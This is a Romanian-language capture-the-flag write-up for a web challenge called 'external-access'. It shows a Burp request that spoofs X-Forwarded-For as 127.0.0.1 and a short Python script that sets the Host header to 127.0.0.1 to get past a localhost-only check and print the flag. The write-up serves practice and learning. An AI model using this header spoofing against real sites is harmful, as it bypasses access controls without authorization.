

external-access

Asa ca hint din titlu banuiesc ca trebuie sa accesez flagul dintr-un place local dar asta este doar o idee vaga pana cand accesez site-ul si vad mesajul "External Access Denied!" .Deci trebuie sa accesam site-ul de undeva local dar cum facem asa ceva?Dacă vrei să încerci să "păcălești" site-ul și să-l faci să creadă că vii din rețeaua locală, poți folosi **manipularea header-ului HTTP**. Hai să-ți explic:
Atunci când faci o cerere către un site (prin browser sau terminal), trimiți informații suplimentare numite **header-e**. Acestea pot include:

- **User-Agent**: spune ce browser și sistem de operare folosești.
- **Referer**: spune de pe ce pagină ai venit.
- **Host**: indică domeniul către care faci cererea.
- **X-Forwarded-For**: arată adresa IP originală a utilizatorului (uneori folosit pentru a detecta proxy-uri).

Am incercat sa introduc in burp headerul X-Forwarded-For doar ca il ignora deci trecem mai departe.

```
GET / HTTP/1.1
Host: 34.159.151.77:31649
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
X-Forwarded-For:127.0.0.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
```

Dacă serverul folosește antetul `Host` pentru a verifica dacă cererea vine de la localhost, putem încerca să-l "păcălim" setând manual valoarea la host prin 127.0.0.1 insa nu am reusit sa fac asta in burpsuite pana la urma a fost necesar un script in care zice sa accese site-ul cu headerul host local scriptul este mai jos si ar trebui sa primim flagul:

```
import requests
```

```
url = "http://34.159.151.77:31649/"
headers = {
    "Host": "127.0.0.1"
}
```

```
response = requests.get(url, headers=headers)
print(response.text)
```

Flag:ctf{1a140efca7369bf3d4fb173.....d6499eabac0b770232f8fc069e46}
Trolled by masquerade8077